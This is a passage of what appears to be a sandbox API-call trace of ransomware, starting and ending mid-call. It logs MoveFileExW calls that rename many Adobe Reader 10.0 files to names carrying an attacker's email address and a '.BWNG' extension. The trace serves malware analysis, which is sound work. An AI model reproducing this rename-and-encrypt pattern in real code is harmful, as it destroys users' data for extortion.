10.0\\Resource\\Font\\[billwong73@yahoo.com].kYTzaZvF-JlU2SH3F.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].kytzazvf-jlu2sh3f.bwng"), dwFlags=0x1) returned 1 [0098.084] GetTickCount () returned 0x1160436 [0098.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24003583760) returned 1 [0098.084] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Spelling.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\spelling.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].IhyPMAZW-spmtagA1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].ihypmazw-spmtaga1.bwng"), dwFlags=0x1) returned 1 [0098.085] GetTickCount () returned 0x1160436 [0098.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24003704426) returned 1 [0098.085] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\pddom.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\pddom.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].x7JsSZEE-QqCKZvyi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].x7jsszee-qqckzvyi.bwng"), dwFlags=0x1) returned 1 [0098.086] GetTickCount () returned 0x1160436 [0098.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24003825739) returned 1 [0098.086] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\EScript.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\escript.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].tMUR7V2w-bRzZOE5v.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].tmur7v2w-brzzoe5v.bwng"), dwFlags=0x1) returned 1 [0098.087] GetTickCount () returned 0x1160436 [0098.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24003958623) returned 1 [0098.088] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DVA.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\dva.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].4Pj62SyV-qvf3likS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].4pj62syv-qvf3liks.bwng"), dwFlags=0x1) returned 1 [0098.088] GetTickCount () returned 0x1160436 [0098.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24004071647) returned 1 [0098.089] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Spelling.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\spelling.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].8brLK2tt-jpqA9bqL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].8brlk2tt-jpqa9bql.bwng"), dwFlags=0x1) returned 1 [0098.090] GetTickCount () returned 0x1160436 [0098.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24004200968) returned 1 [0098.090] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Search.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\search.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].pBczUhUM-5zhDdp3H.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].pbczuhum-5zhddp3h.bwng"), dwFlags=0x1) returned 1 [0098.091] GetTickCount () returned 0x1160436 [0098.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24004320817) returned 1 [0098.091] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\add_reviewer.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].jAK1EPUy-eWsHwjZd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].jak1epuy-ewshwjzd.bwng"), dwFlags=0x1) returned 1 [0098.092] GetTickCount () returned 0x1160436 [0098.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24004452999) returned 1 [0098.092] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-boldit.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].RbWYmR8p-XuQk06LZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].rbwymr8p-xuqk06lz.bwng"), dwFlags=0x1) returned 1 [0098.630] GetTickCount () returned 0x1160658 [0098.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24058230470) returned 1 [0098.630] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\reflow.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\reflow.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].ZUYSfKdO-fSyGwYiY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].zuysfkdo-fsygwyiy.bwng"), dwFlags=0x1) returned 1 [0098.632] GetTickCount () returned 0x1160658 [0098.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24058415390) returned 1 [0098.632] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acrosign.prc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].980P7eK5-S8KXt3NY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].980p7ek5-s8kxt3ny.bwng"), dwFlags=0x1) returned 1 [0098.634] GetTickCount () returned 0x1160658 [0098.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24058579249) returned 1 [0098.634] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\sy______.pfb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].oB2NGKM3-AwjpNLZz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].ob2ngkm3-awjpnlzz.bwng"), dwFlags=0x1) returned 1 [0098.635] GetTickCount () returned 0x1160658 [0098.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24058707483) returned 1 [0098.635] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\adobepdf417.pmp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\[billwong73@yahoo.com].L1fp6PVI-v152P9qE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\[billwong73@yahoo.com].l1fp6pvi-v152p9qe.bwng"), dwFlags=0x1) returned 1 [0098.638] GetTickCount () returned 0x1160658 [0098.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24059006982) returned 1 [0098.638] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].386Vl3KI-MNGINw4H.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].386vl3ki-mnginw4h.bwng"), dwFlags=0x1) returned 1 [0098.640] GetTickCount () returned 0x1160667 [0098.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24059209678) returned 1 [0098.640] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].JQ0C18Xd-sgs1vcTx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].jq0c18xd-sgs1vctx.bwng"), dwFlags=0x1) returned 1 [0098.642] GetTickCount () returned 0x1160667 [0098.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24059395244) returned 1 [0098.642] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_super.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].sdfNdVNX-Vg7CmU5A.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].sdfndvnx-vg7cmu5a.bwng"), dwFlags=0x1) returned 1 [0098.643] GetTickCount () returned 0x1160667 [0098.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24059521239) returned 1 [0098.643] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\submission_history.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].rHQKPHF5-3bPxPkIT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].rhqkphf5-3bpxpkit.bwng"), dwFlags=0x1) returned 1 [0098.644] GetTickCount () returned 0x1160667 [0098.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24059626672) returned 1 [0098.644] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].isSPJFKV-idFhvjI3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].isspjfkv-idfhvji3.bwng"), dwFlags=0x1) returned 1 [0098.645] GetTickCount () returned 0x1160667 [0098.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24059768608) returned 1 [0098.646] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].PN7crWXk-JCLwVMDK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].pn7crwxk-jclwvmdk.bwng"), dwFlags=0x1) returned 1 [0098.647] GetTickCount () returned 0x1160667 [0098.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24059930194) returned 1 [0098.647] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].2smUkUCp-yl3QKGNE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].2smukucp-yl3qkgne.bwng"), dwFlags=0x1) returned 1 [0098.652] GetTickCount () returned 0x1160667 [0098.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24060449167) returned 1 [0098.652] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\[billwong73@yahoo.com].aocZGFee-1CSer1U8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\[billwong73@yahoo.com].aoczgfee-1cser1u8.bwng"), dwFlags=0x1) returned 1 [0098.654] GetTickCount () returned 0x1160667 [0098.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24060588689) returned 1 [0098.654] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-italic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].oS39JBki-H7cmHybU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].os39jbki-h7cmhybu.bwng"), dwFlags=0x1) returned 1 [0098.655] GetTickCount () returned 0x1160677 [0098.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24060741697) returned 1 [0098.655] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\wow_helper.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].7aoed9zV-jpgpZEAl.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].7aoed9zv-jpgpzeal.bwng"), dwFlags=0x1) returned 1 [0098.657] GetTickCount () returned 0x1160677 [0098.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24060891711) returned 1 [0098.657] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].HZFjSTrW-aLdfZr8r.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].hzfjstrw-aldfzr8r.bwng"), dwFlags=0x1) returned 1 [0098.659] GetTickCount () returned 0x1160677 [0098.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24061146367) returned 1 [0098.659] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\[billwong73@yahoo.com].kwlansKq-LWn30p4W.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\[billwong73@yahoo.com].kwlanskq-lwn30p4w.bwng"), dwFlags=0x1) returned 1 [0098.660] GetTickCount () returned 0x1160677 [0098.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24061273766) returned 1 [0098.661] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bolditalic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].O8r5CVlj-YOct9AMp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].o8r5cvlj-yoct9amp.bwng"), dwFlags=0x1) returned 1 [0098.662] GetTickCount () returned 0x1160677 [0098.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24061379065) returned 1 [0098.662] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\[billwong73@yahoo.com].rm96X2It-4cOtYlwx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\[billwong73@yahoo.com].rm96x2it-4cotylwx.bwng"), dwFlags=0x1) returned 1 [0098.663] GetTickCount () returned 0x1160677 [0098.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24061512940) returned 1 [0098.663] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].L3OkuXcc-MCfHvl7g.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].l3okuxcc-mcfhvl7g.bwng"), dwFlags=0x1) returned 1 [0098.664] GetTickCount () returned 0x1160677 [0098.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24061629507) returned 1 [0098.664] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviewers.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].IuK6Gu0e-f3SunokJ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].iuk6gu0e-f3sunokj.bwng"), dwFlags=0x1) returned 1 [0098.665] GetTickCount () returned 0x1160677 [0098.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24061769014) returned 1 [0098.666] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_lg.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].waIIxXjT-ejvzoYDv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].waiixxjt-ejvzoydv.bwng"), dwFlags=0x1) returned 1 [0098.667] GetTickCount () returned 0x1160677 [0098.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24061880895) returned 1 [0098.667] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].orXS1Fy7-MwHCJbwj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].orxs1fy7-mwhcjbwj.bwng"), dwFlags=0x1) returned 1 [0098.668] GetTickCount () returned 0x1160677 [0098.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24061997537) returned 1 [0098.668] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].G7d8zb9L-FvTacfs6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].g7d8zb9l-fvtacfs6.bwng"), dwFlags=0x1) returned 1 [0098.669] GetTickCount () returned 0x1160677 [0098.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24062136259) returned 1 [0098.669] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\ReadOutLoud.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\readoutloud.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].hFtnpiMK-zv08UmGJ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].hftnpimk-zv08umgj.bwng"), dwFlags=0x1) returned 1 [0098.670] GetTickCount () returned 0x1160713 [0098.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24077158780) returned 1 [0098.820] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\[billwong73@yahoo.com].6MBDy0eY-6ApQjPlF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\[billwong73@yahoo.com].6mbdy0ey-6apqjplf.bwng"), dwFlags=0x1) returned 1 [0098.822] GetTickCount () returned 0x1160713 [0098.822] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24077435020) returned 1 [0098.822] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\accessibility.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\accessibility.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].3zw3WSou-pqBAO0fN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].3zw3wsou-pqbao0fn.bwng"), dwFlags=0x1) returned 1 [0098.824] GetTickCount () returned 0x1160713 [0098.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24077603750) returned 1 [0098.824] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\IA32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ia32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].G8GG0cAY-IloNkJBP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].g8gg0cay-ilonkjbp.bwng"), dwFlags=0x1) returned 1 [0098.825] GetTickCount () returned 0x1160713 [0098.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24077769230) returned 1 [0098.826] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SendMail.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\sendmail.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].aB7LW3zn-TrmbhrZV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].ab7lw3zn-trmbhrzv.bwng"), dwFlags=0x1) returned 1 [0098.827] GetTickCount () returned 0x1160723 [0098.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24077915493) returned 1 [0098.827] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\DataMatrix.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\datamatrix.pmp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\[billwong73@yahoo.com].rN1MxAmO-PbnYI5qN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\[billwong73@yahoo.com].rn1mxamo-pbnyi5qn.bwng"), dwFlags=0x1) returned 1 [0098.829] GetTickCount () returned 0x1160723 [0098.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24078116895) returned 1 [0098.829] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Acroform.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 